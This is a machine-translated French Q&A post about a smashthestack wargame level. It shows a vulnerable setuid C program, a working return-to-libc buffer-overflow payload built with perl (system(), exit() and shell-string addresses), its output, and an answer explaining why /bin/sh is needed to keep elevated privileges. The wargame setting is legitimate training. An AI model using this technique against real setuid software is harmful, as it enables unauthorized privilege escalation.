2017-09-13 9 views
0

J'essaie de passer le niveau 2 de ce "jeu" http://smashthestack.org/faq.html (se connecter via ssh sur le serveur blackbox) qui consiste en un buffer overflow basique.BOF avec pile non exec

Dans le répertoire/home/niveau 2 (il y a un répertoire pour chaque niveau avec un fichier contenant le mot de passe pour ce niveau), il existe un fichier exécutable appelé GetOwner et son code source:

#include <stdio.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <unistd.h> 
#include <stdlib.h> 

int main(int argc, char **argv) 
{ 
    char *filename; 
    char buf[128]; 

    if((filename = getenv("filename")) == NULL) { 
     printf("No filename configured!\n"); 
     return 1; 
    } 

    while(*filename == '/') 
     filename++; 
    strcpy(buf, "/tmp/"); 
    strcpy(&buf[strlen(buf)], filename); 

    struct stat stbuf; 
    stat(buf, &stbuf); 
    printf("The owner of this file is: %d\n", stbuf.st_uid); 

    return 0; 
} 

Le utilisateur qui possède le fichier exécutable est level3

[email protected]:~$ ls -lisa getowner 
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner 

donc, si je peux exploiter le dépassement de mémoire tampon et engendrer une coquille comme Level3, je peux lire le fichier/home/level3/mot de passe, obtenir le mot de passe et gagner le niveau: ai-je raison?

Alors

1) J'ai essayé de télécharger un shellcode dans une variable d'environnement et d'établir la variable de nom de fichier pour modifier l'adresse de retour dans la pile de revenir sur le shellcode, mais comme vous pouvez le voir

[email protected]:~$ readelf -l getowner | grep GNU_STACK 
    GNU_STACK  0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 

Le code de la pile ne peut pas être exécuté.

2) puis, je tente d'utiliser l'attaque de retour à libc et système d'appel (/ bin/bash), mais dans la coquille, je suis donné naissance à l'utilisateur encore :(Niveau 2

[email protected]:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"') 
[email protected]:~$ ./getowner 
The owner of this file is: -1207961948 
bash-3.1$ id 
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers) 

Où 0xb7ee59b0 à l'adresse du système(), 0xb7edb420 est l'adresse de sortie() et 0xbffffe32 est l'adresse de la chaîne/bin/bash.

dois-je d'autres options ou sont-je trompé?

Répondre

0

Votre deuxième l'approche est correcte mais vous devez utiliser /bin/sh ou (/bin/dash si /bin/sh est un lien symbolique vers /bin/bash).

L'une des premières choses que fait bash est de laisser tomber vos droits euid à uid. Voir this stackexchange réponse pour plus de détails.